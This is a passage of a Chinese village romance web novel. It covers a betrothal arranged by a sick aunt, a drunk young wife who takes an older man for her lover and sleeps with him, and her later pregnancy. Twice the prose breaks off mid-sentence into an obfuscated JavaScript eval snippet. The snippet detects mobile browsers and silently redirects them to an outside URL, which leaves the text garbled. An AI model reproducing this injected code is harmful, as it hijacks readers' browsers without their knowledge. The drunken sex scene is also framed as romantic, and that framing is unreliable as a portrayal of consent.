**鹏挠了挠头,嘿嘿笑着说:“哪儿有这样骂自己的!不管你变成什么样子,我都喜欢!就算你真变成小猪,那也是世界上最可爱的小猪,我肯定把你捧在手心里。” 杜秋丽的脸微微一红,轻轻地推了**鹏一下,说道:“去,谁要你喜欢……你就会说那些好听的哄人。”嘴上虽然这么说,但她的嘴角却忍不住微微上扬,眼里满是笑意。 **鹏见杜秋丽心情似乎不错,赶忙神秘兮兮地从身后藏着的地方掏出一样东西,说道:“看,我还给你带了什么?” 杜秋丽好奇地睁大了眼睛,歪着头问道:“什么啊?你就别卖关子了,快拿出来让我看看。” **鹏局促地站在杜秋丽面前,双手在衣角处不停地揉搓着,随后缓缓从怀里掏东西出来。他的动作小心翼翼,仿佛怀里揣着的是世间最珍贵的宝贝。 随着他的手慢慢拿出,一块散发着淡淡清香味的香皂出现在眼前,那香味清幽淡雅,似有若无地在空气中弥漫开来。在香皂旁边,还有两根鲜艳欲滴的红头绳,红得夺目,闪烁着迷人的光泽。 杜秋丽原本低垂着的眼眸,在看到这两样东西的瞬间,猛地抬了起来,眼中满是惊讶与疑惑,她微微张开嘴唇,轻声问道:“这是送给我的?”那声音轻柔得如同窗外飘落的一片树叶。 **鹏听到这话,原本就紧张的神情变得更加局促,他微微低下头,不敢直视杜秋丽的眼睛,只是轻轻“嗯”了一声,然后鼓起勇气说道:“城里的女人都用这个!”他的声音带着一丝颤抖,仿佛在极力证明自己送的礼物是多么的珍贵。 杜秋丽俏皮地眨了眨眼睛,嘴角微微上扬,带着一丝调侃的意味说道:“你怎么知道?难不成你闻过?”她的眼神中闪烁着灵动的光芒,像是在故意逗弄**鹏。 **鹏没想到杜秋丽会这么说,脸刷的一下就红了,红得如同天边燃烧的晚霞。他的眼睛瞪得大大的,结结巴巴地说道:“你……你竟然……这么说我?”那模样就像一个被冤枉的孩子,又委屈又着急。 杜秋丽看到**鹏这副模样,忍不住“扑哧”一声笑了出来,她轻轻摆了摆手,说道:“好了,跟你开玩笑了,看你那脸红的……”她的声音温柔而甜美,仿佛有一种神奇的魔力,让**鹏原本紧张的心情瞬间舒缓了许多。 **鹏深吸一口气,努力让自己镇定下来。他突然一把拉过杜秋丽的手,那动作有些急切,杜秋丽的手在他的大手中显得格外小巧。 **鹏紧紧地握着她的手,眼神坚定而炽热,说道:“这红头绳,可是月老给我们牵的红线,以后你的头发辫子,只能用我给你买的!”他的声音充满了霸道与深情,仿佛在向全世界宣告他们之间的关系。 杜秋丽被**鹏这突如其来的举动弄得有些不知所措,她的脸一下子变得更红了,像是熟透的苹果。她微微挣扎了一下,轻声问道:“干嘛非要用你给我的啊?”她故意反驳道。 **鹏看着杜秋丽,眼神中透露出一丝倔强,说道:“你再这样,我等下就告诉大姑,我要娶你!我要你做我的媳妇儿!”他的声音响亮而坚定,仿佛下定了某种决心。 杜秋丽听到这话,头低得更低了,她的脸几乎要埋进衣领里。她红着脸小声说道:“谁要做你媳妇儿了?”那声音细若蚊蝇,但却带着一丝难以察觉的甜蜜。 **鹏目光坚定,紧紧地盯着眼前娇羞动人的杜秋丽,他的眼神里满是炽热的爱意,朝着她走近,声音带着不容置疑的坚决说道:“你逃不掉了,这辈子我是必须要娶你的!”那声音仿佛带着一种无形的力量,在这小小的空间里回荡。 杜秋丽双颊绯红,宛如天边染上红晕的云霞,她微微低下头,双手不自觉地绞着衣角,娇嗔地说道:“讨厌,不听你说了!”说着故意转过身去,那娇柔的语气,仿佛是春日里的微风,轻轻拂过**鹏的心间。 **鹏再也按捺不住内心的情感,一个箭步上前,一把搂过杜秋丽那纤细的腰肢,将她紧紧地拥入怀中。两人的身体紧紧贴在一起,两颗悸动的心扑通扑通跳得很快,仿佛要冲破胸膛。 第105章 美酒配美人 **鹏的呼吸变得急促起来,他将头微微低下,在杜秋丽的耳边,带着几分急切又满是深情地说道:“秋丽,我真的很想马上就娶你!”他的声音因为激动而微微颤抖,每一个字都饱含着对杜秋丽深深的爱意。 杜秋丽靠在**鹏的怀里,感受着他有力的心跳,她缓缓抬起头,眼神中带着一丝担忧和温柔,轻声说道:“现在还不行,干娘最近身体不好,她一直把我当成亲生女儿一样疼爱,我怎么能在她身体不舒服的时候只顾自己呢?起码要等她好一点儿的时候再说吧!”她的声音轻柔而坚定,每一个字都透露着她的善良和孝顺。 **鹏看着杜秋丽那充满担忧的眼神,心中满是感动,他轻轻抚摸着杜秋丽的秀发,温柔地说道:“好吧,都听你的!”他知道,杜秋丽是一个重情重义的好姑娘,自己没有看错人。 两个人情深意浓,目光紧紧地交织在一起,仿佛整个世界都只剩下他们两个人。 **鹏慢慢低下头,嘴唇逐渐靠近杜秋丽,就在这甜蜜的时刻,突然,从屋内传来王大娘那略带虚弱的声音:“秋丽啊,是不是谁来了?咳咳……”那声音仿佛一道惊雷,打破了这浪漫而美好的氛围。 杜秋丽听到王大娘的声音,脸上的羞涩瞬间被担忧所取代,她急忙从**鹏的怀里挣脱出来,像一只受惊的小鹿一般,立马跑过去,来到王大娘的床边,关切地说道:“干娘,您醒了?”她的声音里满是焦急和心疼,眼睛紧紧地盯着王大娘那苍白的脸庞。 **鹏也赶紧整理了一下自己的衣衫,走上前去,笑着说道:“大姑,是我来看你了!”他的声音带着几分亲切和问候,眼神中满是对王大娘的关心。 昏暗的房间里,微弱的光线在墙壁上投下斑驳的光影。王大娘此时缓缓从那张有些陈旧的床上坐了起来,她身上穿着一件洗得有些发白的旧衣,头发稀疏且花白,脸上的皱纹如同岁月刻下的一道道沟壑。 她眯着眼睛,带着几分打趣的意味,笑着说道:“我这个老太婆子,有什么好看的?怕是你那心思早就留在我这儿不想走了吧!”那声音带着一种历经沧桑后的温和与调侃。 站在一旁的**鹏,身形挺拔,脸庞带着几分青涩与腼腆。他一听王大娘这话,脸“唰”地一下就红了,头也不自觉地低了下去,双手局促地捏着衣角,嗫嚅着喊了一声:“大姑……”那声音又轻又小,仿佛生怕被旁人听见自己心中的秘密。 王大娘看着**鹏这副模样,不禁轻轻叹了口气,接着说道:“志鹏啊,虽说秋丽虽然叫**娘,但是该走的礼节还是要走的。你瞧瞧,这婚姻大事可不是儿戏,你要是真对秋丽有意的话,改日让你爹娘去文孝家里提亲吧。这事儿啊,就按文孝嫁妹妹的名义开办!这样既合乎礼数,也能让大家都有个体面。”她一边说着,一边轻轻拍了拍床边,眼神中满是真诚和关切。 **鹏一听这话,原本还有些羞涩的脸上瞬间绽开了灿烂的笑容,眼睛里闪烁着兴奋的光芒,就像黑夜里突然亮起的星星。 他激动得双手都有些微微颤抖,连忙说道:“真的,那明天就让我爹娘来文孝大哥家里去提亲!大姑,您就放心吧,我一定会好好对待秋丽的。我保证,以后会让她过上好日子,不会让她受一点委屈。”他越说越激动,胸脯也挺得高高的,仿佛已经看到了自己和秋丽幸福美满的未来。 王大娘听着**鹏的话,满意地点了点头。随后,她把目光转向身边的秋丽,脸上带着和蔼的笑容,轻声问道:“秋丽,你觉得呢?这婚姻可是一辈子的大事,我这么安排,你心里应该不反对吧。” 杜秋丽原本白皙的脸庞瞬间刷的一下红透了,那红晕就像天边绚烂的晚霞,从脸颊一直蔓延到了耳根。她娇嗔地跺了跺脚,声音带着几分羞涩与娇俏:“哎呀,干娘,真是羞**了!”说完,她双手连忙捂住自己滚烫的脸,就像一只受惊的小鹿一般,慌慌张张地跑开了。那轻盈的步伐,带起了一阵微风,吹得她身后的裙摆轻轻飘动。 王大娘看着杜秋丽跑开的背影,脸上露出了欣慰又慈祥的笑容,她笑着对一旁的**鹏说道:“你也出去吧,看样子你们两个都同意了,我这个老太婆啊,也盼着能吃上你们一杯喜酒啊!到时候热热闹闹的,多好啊!我还想着看着你能快点给我生个小侄孙呢,你们俩日子过得好我也就放心了!。” **鹏一听,心里顿时乐开了花,他兴奋得脸颊都泛起了红光,连忙说道:“大姑,那我先出去看看秋丽!” 话音刚落,他便像一阵风似的转身跑了出去。他的脚步又急又快,一路上脑海里全是杜秋丽那娇羞的模样。 **鹏来到秋丽的房间,轻轻推开门,蹑手蹑脚地走了进去。他看到秋丽正双手捧着自己发烫的脸,静静地坐在床边。她的头微微低着,一头乌黑亮丽的头发辫子如垂落在肩膀上,不知道在想些什么。房间里弥漫着一股淡淡的花香,阳光透过窗户洒在她的身上,给她镀上了一层金色的光辉,美得就像一幅画。 **鹏走到秋丽身边,温柔地坐了下来,轻声说道:“秋丽,明天就让我爹娘来提亲,我终于可以把你娶回去了!以后,我会一辈子对你好,让你过上好日子。我会努力赚钱,给你买漂亮的衣服,带你吃好吃的东西。我们会有一个温暖的家,生几个可爱的孩子,一家人快快乐乐的。” 看到秋丽一直不说话,**鹏有些担心,他关切地问道:“你怎么了?不开心?是不是我哪里做得不好,让你有顾虑了?你有什么想法都可以跟我说。” 在那温馨却又略带伤感的房间里,映照着杜秋丽那姣好却又满是哀愁的面容。她微微低着头,眼睛里渐渐泛起了一丝晶莹的泪花,闪烁着别样的光芒。 她缓缓地摇了摇头,声音带着一丝哽咽,轻声说道:“没有,我就是想我爹娘了!我爹娘在世的时候,对我那可是千般疼爱、万般呵护。我小时候调皮捣蛋,闯了不少祸,可他们从来都没有责备过我。若是他们还在世的话,知道我成亲,一定会高兴得合不拢嘴的!”说着说着,她的泪水忍不住流了下来,顺着脸颊滑落,滴在了衣襟上。 站在一旁的**鹏看着杜秋丽这般伤心的模样,心疼得仿佛心都被一只无形的手紧紧揪住了。他连忙走上前去,轻轻地搂过了杜秋丽,将她紧紧地拥在怀里,就好像这样就能为她挡住所有的悲伤。 他的声音温柔而又坚定,在杜秋丽的耳边轻声说道:“你放心,我一定会好好爱你的!以后的日子里我一定要让你幸福快乐,不会让你受一点委屈。以后,我就是你的依靠,不管遇到什么事,我都会站在你身边,为你遮风挡雨。” 时光匆匆,转眼间次日的晨曦便透过窗户的缝隙,轻柔地洒在了房间里。**鹏一大早就起了床,他的心情既兴奋又有些紧张。 他精心地整理了自己的衣衫,然后和父母一起,套上了牛车,将早就准备好的丰厚礼物一一搬上了车。那些礼物堆得满满当当,每一样都代表着他们的诚意和对这门亲事的重视。 他们一家人带着礼物,满怀期待地来到了文孝的家。**鹏和父母走进院子,文孝听到动静,从屋里迎了出来。 **鹏的父母连忙走上前去,满脸笑容地说明了来意:“文孝啊,我们今天来呢,是想跟你商量一件大事。我们家志鹏啊,和秋丽情投意合,我们也很喜欢秋丽这孩子,所以想为他们定下这门亲事,希望你能成全啊!”说着,他们把带来的礼物一一摆在了文孝的面前。 文孝听闻,脸上立刻露出了开心的笑容。他本来就对**鹏这小伙子印象不错,觉得他为人正直、勤劳善良,是个可以托付终身的人。 他便爽快地答应了这亲事,说道:“好啊,我也觉得这是一门好亲事。秋丽妹子能嫁给志鹏,我也放心。这门亲事,我答应了!” 听到文孝的答复,**鹏一家都高兴得合不拢嘴。他们连连道谢,然后开始和文孝商量起了婚事的具体细节。经过一番讨论,秋丽的亲事就定在了一个月后。大家都开始期待着那一天的到来! 普普通通的李家沟,家家的日子本就过得平淡又实在。董春风此刻正坐在那院子里,心里头像是被无数只蚂蚁在啃噬,懊悔的情绪如潮水般将她彻底淹没。 她不停地在心里头责骂自己,怎么就稀里糊涂的做出了对不起栓子哥的事情呢。那一幕幕在脑海中不断闪现,每一次回想都像是有一把尖锐的刀子在她心上狠狠扎一下。 她心里害怕,害怕栓子哥知道了这件事情之后会嫌弃自己,从此就不要自己了。这种担忧就像一块沉甸甸的大石头,压得她几乎喘不过气来。 一连几日,她都满心期待着,盼着栓子哥那熟悉的身影能突然出现在门口,然后迈着大步走到她面前,笑着对她说:“春风,跟我走!我们一起离开这里!” 可是,一天又一天过去了,门外除了那几只觅食的鸡,或是被风吹得沙沙作响的树叶,哪里有栓子哥的半点儿身影。她坐在院子里,眼神渐渐变得黯淡无光,心里头乱糟糟的。她忍不住胡思乱想起来,是不是真的如自己所担心的那样,栓子哥嫌弃自己了,所以再也不会来找自己了?又或者是大嫂当初跟她说的那些话都是骗自己的呢? 她的心中犹如一团乱麻,剪不断,理还乱。各种念头在脑海中交织碰撞,让她痛苦不堪。都是因为那晚上的那几杯酒啊,她在心里头恨恨地想着。那酒就像是罪恶的源头,让她做出了不可挽回的错事。想到这儿,她的眼神中闪过一丝气恼。 她猛地站起身来,走到那张破旧的桌子前,桌上放着那瓶廉价的白酒,她一把抓起那瓶酒,“咕咚咕咚”地往粗瓷大碗里倒了满满一碗,酒水溅到了桌上,洇湿了一小片桌面。 她用细嫩的手背狠狠地抹了一下眼角的泪水,那泪水里满是悔恨和无助。 然后,她端起大碗,一仰头,将那辛辣的白酒痛快地喝掉,酒水顺着喉咙流下,像是一团火在身体里燃烧,可却怎么也烧不掉她心中的痛苦和自责。 此时,日光正盛,树影下面映出一片斑驳。李万原从外面回来,手中还提溜着一串葡萄,那是在文孝家的院墙外面摘得,本打算拿回来给董春风尝一尝! 他刚一进屋,眼睛就直勾勾地盯着坐在桌前的董春风,咧着嘴,露出一口参差不齐的牙,扯着嗓子说道:“哎呀,老子这辈子别的啥爱好没有,就独独喜欢喝酒,没想到你也喜欢喝酒,看来咱们俩,简直就是天生一对啊!瞧瞧这桌上的美酒,再看看你这如花似玉的美人,这搭配在一起,可不就是人间少有的乐事嘛!”说着,他一屁股坐到董春风对面,伸手端起桌上的酒碗,仰起头“咕咚”一声,将一碗酒灌进了肚子里。 董春风坐在那里,脑袋昏昏沉沉的,双眼迷离,眼神都有些涣散了,此刻她已经看不太清眼前的人是谁。她晃了晃脑袋,舌头也有些打结,含糊不清地问道:“你……是谁?来……来做什么?”她的声音很轻,带着几分醉意后的慵懒。 李万原听了,先是一愣,随即咧开嘴笑了起来,说道:“我是谁?我是你男人啊!我说你这是又喝了多少啊,连我都不认识了?”他一边说着,一边伸手想去摸董春风的脸。 董春风听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191800|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,缓缓地抬起头,努力地看向眼前的人。在她那醉眼朦胧的视线里,李万原那原本猥琐的模样渐渐模糊,不知怎的,愣是把李万原看成了她心心念念的栓子哥。 刹那间,她的眼睛亮了起来,脸上满是兴奋的神情,就像一个孩子得到了心爱的糖果。 她猛地站起身来,身体有些摇晃,但还是不顾一切地扑了上去,双手紧紧地抱住李万原,嘴里含糊不清地说道:“栓子……哥,我要嫁给你,我想给你生……一堆孩子……”她的声音里充满了甜蜜和期待,仿佛此刻真的和栓子哥在一起,正憧憬着美好的未来。 李万原被董春风突然的举动吓了一跳,他皱着眉头,满脸的纳闷,嘟囔着:“刷子?突然间提什么刷子?”他心里琢磨着:难道是家里的刷子坏了? 不过此刻,那柔若无骨的美人实实在在地入了怀,李万原只觉得满心都是欢喜。 回想起跟那何芊菊在一起的这些年,何芊菊向来都是一副矜持的模样,哪怕是夫妻之间的亲密时刻,她也总是含蓄被动,从未有过像这董春风这般主动大胆的时候。 瞧着怀里董春风那青春洋溢的模样,李万原不禁在心里暗自感慨:果然啊,还是年轻的媳妇儿好啊!这年轻的身体里仿佛藏着无尽的活力与热情,就像一团炽热的火焰,轻易就能点燃他心中那早已熄灭多时的激情。 李万原紧紧地搂着董春风,感受着她身上传来的温热气息,只觉得浑身的血液都开始沸腾起来。 他看着董春风那被酒精染上一抹红晕的脸颊,忍不住轻声说道:“这喝了酒,好像媳妇儿更好看了,这小脸儿白里透红的,就跟那熟透了的苹果似的,让人看了就忍不住想咬上一口。”那语气里满是浓浓的爱意与宠溺,仿佛董春风就是这世间最珍贵的宝物。 他的话刚说完,还没来得及再细细品味这温馨的时刻,董春风便猛地吻了上去。她的双唇柔软而炽热,带着一股让人沉醉的香甜气息,瞬间就将李万原的理智吞噬得一干二净。让李万原心中的欲望如决堤的洪水一般,汹涌澎湃。 在酒精的作用下,两个人仿佛置身于一个梦幻般的世界里,四周的一切都变得模糊而虚幻,只剩下彼此之间那炽热的情感在肆意流淌。他们如胶似漆,郎情妾意,房间里弥漫着一股暧昧的气息,那是爱情与欲望交织的味道,让人陶醉,让人沉沦。 一场激烈的云雨过后,董春风早已是筋疲力尽,沉沉地睡去。她的脸上还残留着一抹潮红,呼吸均匀而轻柔。 李万原则在一旁小憩了一阵,当他缓缓睁开眼睛的时候,望着面前睡熟着的董春风,只觉得心中满是幸福与满足。他轻轻地伸出手,抚摸着董春风那光滑细腻的脸庞,轻声说道:“我李万原这辈子值了!能拥有这样一个年轻漂亮、热情似火的媳妇儿,真是美啊!”那声音虽然很轻,但却充满了浓浓的感慨与欣慰。 然而,当他试图起身的时候,却忍不住皱起了眉头,嘴里还发出了一声痛苦的呻吟:“哎呦,年纪大了,比不上年轻时候了。这小娘们儿,就像个妖精似的,把我这老骨头都快折腾散架了。”他一边说着,一边扶着自己的老腰,艰难地从床上坐了起来,显然是刚才的激烈运动让他有些吃不消了。 不过,尽管身体有些疲惫,但李万原的心里却充满了期待。他望着熟睡中的董春风,眼神里充满了希冀,嘴里喃喃自语道:“老天爷可得保佑我能有个儿子啊!要是能让董春风给我生个大胖小子,那我这辈子可就真的圆满了。”说完,他拖着疲惫的身体,一步一步地朝着院子里走去! 李万原脑海里突然想起来董春风提到的的刷子。想到这儿,李万原迈着大步走向厨房,一进厨房,就看到那把刷子孤零零地躺在灶台上。 走近仔细一瞧,这刷子确实已经不能再用了。只见那上面的刷毛东倒西歪,有的已经断了半截,有的甚至直接脱落下来,散落在灶台上。刷子的手柄也因为长期使用而变得光滑,上面还残留着一些洗不掉的污渍。 李万原皱了皱眉头,心里想着:这刷子确实该换了,也难为这春风用了这么久。 他一边想着,一边咧开嘴笑了起来,自言自语道:“还是这小媳妇儿好,哪儿都好。不仅人长得好看,还这么会过日子,现在我就出门买刷子去!” 李万原生怕自己吵醒了正在睡觉的董春风,他轻手轻脚地走到床边,看着董春风那熟睡的模样,心里满是柔情。转身拿起放在柜子里的钱袋子,小心翼翼地带上房门,出了家门。 集市离他们家不算太远,李万原没一会儿就到了。集市上热闹非凡,人来人往,各种叫卖声此起彼伏。 他先来到卖刷子的摊位前,挑了又挑,选了又选,最后决定买五把刷子,心里想着:多买几把,以后就不用担心坏掉没有用的了。 买完刷子,李万原突然闻到一阵清香,原来在旁边有一个卖香皂的摊位。他拿起一块儿香皂,放在鼻子前闻了闻,那股淡淡的花香瞬间沁入他的心脾。他毫不犹豫地付了钱,把香皂放进了口袋里。 路过了一个包子摊,他这才想起自己还没午饭呢,而且董春风醒来肯定也会饿。看着那屉子里面正冒着热气,他便上前买了几个香喷喷的大肉包子。 李万原哼着小曲儿,提着买好的东西往家走。 董春风悠悠转醒,迷迷糊糊地喊了一声:“栓子哥?”她揉了揉眼睛,四下看了看,却发现屋子里空无一人。 可是自己明明记得刚才栓子哥他来过啊,她还记得她靠向他的胸膛时那温暖的感觉,那感觉是那么真实,不像是做梦。 第106章 奇怪的人 她坐在床上,眼神有些失落,心里不停地琢磨着:他来了又走了,难不成他真的嫌弃我了吗?可是他为什么来了却不带我走呢?她越想越觉得困惑,心里就像有一团乱麻,怎么也理不清。 正当她沉浸在对栓子哥的思念中时,房门突然被推开,李万原从外面走了进来。 他面带微笑,关切地问道:“你醒啦?正好,我买了些肉包子回来,饿了吧?快趁热吃一个!” 董春风有些惊讶地看着李万原,不确定这些包子自己是否真的可以吃。她迟疑地问道:“这是给我吃的?” 李万原爽朗地笑了起来,说道:“当然是给你的啦!除了你还有谁啊?快吃吧,别饿着了!” 董春风慢慢地将手伸出去,仿佛那包子是一件珍贵的宝物一般。他轻轻地拿起包子,然后小心翼翼地咬了一口,细细品味着那满口的香气,情不自禁地说了句:“真香!” 就在这时,她的思绪突然被拉回到了小时候。那时候,家里的条件并不宽裕,肉包子对于他们来说更是难得的美食。而爹总是说,肉包子只能给大哥吃,因为大哥是男孩,需要更多的营养。而像春风这样的丫头片子,有窝窝头吃就已经很不错了,丫头片子吃肉包子简直就是浪费粮食! 有一次,春风实在忍不住肉包子的诱惑,偷偷地咬了一口。结果,她被爹发现了,爹二话不说,抬手就是几个响亮的巴掌,还让她跪下。 春风被打得头晕目眩,眼泪在眼眶里打转,但她不敢哭出声来,只能默默地跪在一旁,看着大哥开心地吃着肉包子。 然而,大哥却因为春风咬过的那一口而闹起了脾气,不愿意再吃那个包子。他随手将包子扔到了地上,那包子在地上滚了几圈,沾满了灰尘。春风心疼地看着地上的包子,她犹豫了一下,还是想要把它捡起来吃掉。 可就在她弯腰去捡包子的时候,爹突然飞起一脚,将她踢翻在地。春风的身体重重地摔在地上,爹还在一旁骂骂咧咧:“滚远点!这么好的东西,老子就是喂狗也不会给你吃!” 春风委屈地看着爹,泪水像决堤的洪水一样涌出。她不明白,为什么同样是爹的孩子,大哥可以吃肉包子,而她却只能吃窝窝头,甚至连捡地上的包子都不可以。 而此时,大哥的哭闹声越来越大,就连娘也开始责备起春风来:“我怎么生了你这么贪吃的丫头片子!好好的非要把你大哥惹哭……” 眼看着母亲拿起鞋底,毫不留情地在自己身上又狠狠地抽打了几下,大哥却突然像变了个人似的,原本还在哭泣的他,竟然一下子破涕为笑了。 从那以后,她就再也不敢和大哥争抢食物了。毕竟,哥哥才是爹娘手心里的宝,那几下打在身上,可是真的疼啊! 也就是在那个时候,她认识了栓子哥。 那是一个宁静的午后,阳光透过树叶的缝隙洒在波光粼粼的河面上,她却独自一人蹲在河边,心中充满了无尽的悲伤和委屈。泪水不停地从她那苍白的脸颊滑落,滴落在地上,溅起一朵朵小小的水花。 就在她哭得伤心欲绝的时候,一个温暖的声音突然在她耳边响起:“你不要哭了,等我长大了,我买好多好吃的给你吃!我不会让任何人欺负你的!”她抬起头,泪眼朦胧中看到了栓子哥那关切的目光。 栓子哥比她大一岁,是个心地善良的男孩。他看着她哭得如此伤心,心里也很难过,于是便蹲下来,轻轻地拍了拍她的肩膀,安慰道:“别难过了,不好的事情总会过去的。你要相信,未来会更好的。” 他的话虽然简单,但却如同一股清泉,流淌进了她的心田,让她感到了一丝安慰。她渐渐止住了哭泣,用手擦了擦眼泪,感激地看着栓子哥,说:“谢谢你,栓子哥。” 栓子哥笑了笑,说:“不客气,我们是好朋友嘛!以后有什么事,都可以来找我。”说完,他站起身来,伸出手,示意她也站起来。 她握住栓子哥的手,缓缓地站了起来。那一刻,她觉得栓子哥就像她生命中的一束光,照亮了她黑暗的世界。 虽然栓子哥家里很穷,买不起什么肉,但他却非常聪明。他会制作各种各样的陷阱,而且经常能够成功地抓到小鸟和兔子呢! 每当栓子哥抓到猎物后,他总会偷偷地藏起几块肉,然后找个机会带出去和她一起分享。那时候的她,觉得栓子哥就像个大英雄一样,能给她带来好吃的食物。 再后来,哥哥渐渐长大了,也似乎开始懂得关心妹妹了。他会主动和春风分着吃东西,可春风却依旧倔强地摇着头,表示自己并不想吃。 回忆起这些往事,董春风的眼眶渐渐湿润了,泪水在她的眼中打转。而此时,李万原却笑着对她说:“这包子好吃吧,你再多吃几个!我可是一路揣在胸口带回来的呢!” 李万原一边说着,一边从兜里掏出了在街上购买的香皂和刷子。他将这些物品放在桌子上,然后看着董春风,露出了一丝微笑。 董春风有些惊讶地看着李万原手中的刷子,疑惑地问道:“刷子?” 李万原点了点头,解释道:“我看之前家里的那把刷子已经很破旧了,所以就去街上买了几把新的。”他拿起其中一把刷子,展示给董春风看,“这几把刷子应该能用挺久的了。” 董春风听了李万原的话,心里也疑惑:他一个大男人怎么会去买刷子回来,那干了的丝瓜络子摘一个回来不就是刷子了嘛! 董春风看着李万原,问道:“你刚才上街了?” 李万原点了点头,回答道:“是啊,不上街怎么能买回来这些东西?” 董春风心里暗自琢磨着:李万原上街买东西去了他不在家,难道栓子哥就是趁着这个机会来找自己的。 她不禁心中还有些庆幸,还好李万原没有发现栓子哥来过! 这段时间,董春风的身体出现了一些奇怪的状况,她总是感到异常困倦,无论怎么休息都无法缓解。不仅如此,她对食物也完全提不起兴趣,甚至看到饭菜都会觉得有些恶心。 然而,与董春风的不适形成鲜明对比的是,李万原却显得格外兴奋和欢喜。他满脸笑眯眯的,嘴里还不停地念叨着:“哎呀,我要有儿子了!” 董春风对李万原的反应感到十分困惑,她茫然地看着他,问道:“你在胡说些什么啊……” 李万原却信心满满地回答道:“你肯定是有喜了呀,你年纪小不懂,这症状,不就是那妇人有喜的样子嘛!”说着,他迫不及待地要出门去请大夫来给董春风把脉。 董春风对李万原的判断半信半疑,她忍不住反驳道:“你会不会是搞错了?我怎么可能就有身孕了呢?” 李万原却不以为然,他拍着胸脯保证道:“绝对不会错的!想当初何芊菊也是这样,整天懒洋洋的,还被我娘说她肯定是懒,不想干活,故意作的……” 提到何芊菊,李万原的脸色微微一变,似乎想起了一些不愉快的回忆。但他很快就回过神来,继续说道:“所以,这次肯定也不会错的,你就等着当娘吧!” 尽管董春风还是心存疑虑,但看到李万原如此笃定,她也不好再继续反驳。 没一会儿的功夫,刘大夫一前一后的就跟着万原进了院子! 刘大夫面带微笑地把完脉后,缓缓说道:“恭喜啊,万原兄弟真是有福气啊,这确实是喜脉,不过才月余而已!” 董春风瞪大了眼睛,满脸都是难以置信的表情,她喃喃自语道:“我有孩子了?我真的有孩子了!” 这个消息对董春风来说,就像一道闪电划过夜空,让她震惊不已。她的脑海里迅速闪过各种念头,最后停留在一个想法上:这一定是栓子哥的孩子,我一定要好好爱惜这个孩子! 站在一旁的李万原听到这个消息后,更是兴奋得手舞足蹈,他大声喊道:“哎呀,我要有儿子了!我要有儿子了!” 然而,董家大嫂在得知董春风有孕的消息后,却心生一计。她暗自思忖着,觉得这是一个可以利用的机会。 于是,董家大嫂精心准备了一盒礼物,然后匆匆赶往刷子的家。 刷子的家,可谓是家徒四壁,简陋至极。栓子的父母去世得早,如今只剩下他和一头老牛,还有那有些残破的房子! 这些日子以来,他一直躺在床上,因为上次两人私奔失败,以至于一条腿被打断了,还断了一根肋骨,疼的他无法起身。 然而,幸运的是,邻里邻居们都非常善良和热心,纷纷对他表示同情和怜悯。他们不仅时常前来探望,还会给他送来热腾腾的饭菜,让他在艰难的时刻感受到一丝温暖和关怀。对此,他心中充满了无尽的感激之情。 这天,门外突然传来一阵敲门声,接着传来董家大嫂的声音:“栓子在家吗?” 栓子听到声音,艰难地撑起身子,拄着一根木棍,一瘸一拐地慢慢走到门口。 当他打开门,看到董家大嫂站在门口时,不禁惊讶地问道:“怎么是你?” 董家大嫂面带微笑,有些不好意思地解释道:“哎呀,栓子啊,你别见怪。其实我今天是替我妹子来的!我妹妹春风已经有喜了!这不,给我还送了礼物来,我就想着也给你带一盒过来。就当是我替她大哥给你赔个不是啦,你看你这腿伤得这么严重,她大哥当时也是在气头上,没控制好力度。” 栓子听完董家大嫂的话,脸色瞬间变得苍白,他瞪大了眼睛,难以置信地问道:“你说什么?春风有喜了?” 董家大嫂一脸开心地说道:“可不是嘛,这才刚怀上呢,也不是嫂子多嘴,嫂子就寻思着,你就把我们家春风给忘了吧。这天底下好姑娘多的是,都等着你呢!你说是不是这个理儿?” 栓子面无表情地看着董家大嫂,淡淡地说道:“把你的礼带走吧,我不需要!” 董家大嫂见状,连忙笑着说道:“哎呀,你这孩子,咋这么倔呢!这礼你还是留着补补身子吧!嫂子我呢,还是希望你别去打扰我们春风的生活。你看看,春风现在过得多好呀!你要是哪天让别人知道你们俩之前在一起过,那春风的脸往哪儿搁呀?让别人知道了她还怎么做人呢?” 栓子沉默不语,只是紧紧地握着拳头。 董家大嫂见栓子没有反应,便继续说道:“你还是好好想想嫂子说的话。”说完,她便转身离去,留下栓子一个人站在原地。 栓子望着董家大嫂远去的背影,心中暗暗发誓:“春风,我一定要亲眼看到你过得好才行,这样我才能放心!” 时间一天天过去,栓子的腿伤也逐渐痊愈。他决定亲自去一趟李家沟,去寻找那个让他心心念念的春风。 然而,当他踏入李家沟时,却不知道春风究竟嫁在了哪一家,只能像个无头苍蝇一样,东张西望,四处探寻。 就在他路过李安硕家门口时,突然,一盆洗衣服的脏水从天而降,毫无防备的栓子被淋了个正着! 这突如其来的冷水让栓子惊愕不已,他定睛一看,只见一个女人正站在门口,满脸惊愕地看着他。原来,这盆水正是这个女人泼出来的。 这个女人就是郭美娟,她压根儿没想到自己倒个水竟然会泼到一个人身上。 看到栓子被淋成了落汤鸡,郭美娟顿时慌了神,她手忙脚乱地拿起一条毛巾,急匆匆地跑上前去,胡乱地擦拭着栓子身上的水渍。 由于郭美娟是个哑巴,无法用言语表达歉意,她只能一边比划着,一边不停地作揖,希望栓子能够原谅她的过失。 栓子看着眼前这个手忙脚乱的哑巴女人,心中不禁涌起一股晦气。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199911|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 